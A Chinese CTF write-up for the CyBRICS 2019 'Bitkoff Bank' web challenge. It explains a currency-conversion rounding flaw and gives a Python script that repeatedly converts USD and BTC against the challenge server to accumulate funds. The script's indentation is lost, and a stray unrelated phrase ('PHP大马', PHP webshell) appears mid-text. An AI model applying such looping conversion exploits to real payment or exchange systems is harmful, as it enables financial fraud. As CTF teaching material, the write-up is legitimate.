实战:CyBRICS CTF Quals 2019 Web Writeup

前言

周末参加了LCBC主办的2019 CyBRICS CTF Quals,在金砖五国中,获得了top5的成绩,以下是web的题解。

Bitkoff Bank

实战:CyBRICS CTF Quals 2019 Web Writeup

点一次mine btc,获得0.0000000001 BTC,而购买auto-miner需要0.1 USD。

购买auto-miner后,我们的网页会多出这样一个script,每秒帮我们点击1000次,但实际上并非1秒能获得这么多BTC:

实战:CyBRICS CTF Quals 2019 Web Writeup

然后获取flag需要1USD,显然即便依靠auto-miner也是遥遥无期的。PHP大马

通过做题的经验,给了的功能一般不会白给,我们测试一下转换功能,发现不断将BTC转成USD,将USD转成BTC,就会因为汇率问题就会不断加钱,写脚本即可:

 

import requests
import re
url = 'http://95.179.148.72:8083/index.php'
cookie = {
'name':'yyplsky',
'password':'yyplskycool'
}
def GetUSD():
while True:
try:
r = requests.get(url,cookies=cookie,timeout=3)
res = r.content
res = re.findall(r'<b>([0-9\.]*)</b><br>',res)
return res[0]
except:
pass
def USD_to_BTC(USD):
data = {
'from_currency':'usd',
'to_currency':'btc',
'amount':USD
}
while True:
try:
r = requests.post(url,data=data,cookies=cookie,timeout=3)
break
except:
pass
def GetBTC():
while True:
try:
r = requests.get(url,cookies=cookie,timeout=3)
res = r.content
res = re.findall(r'<b>([0-9\.]*)</b><br>',res)
return res[1]
except:
pass
def BTC_to_USD(BTC):
data = {
'from_currency':'btc',
'to_currency':'usd',
'amount':BTC
}
while True:
try:
r = requests.post(url,data=data,cookies=cookie,timeout=3)
break
except:
pass
for i in range(200):
USD = GetUSD()
print USD
USD_to_BTC(USD)
BTC = GetBTC()
print BTC
BTC_to_USD(BTC)

通过来回转钱,跑差不多十分钟就够$1 USD,可以购买flag了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值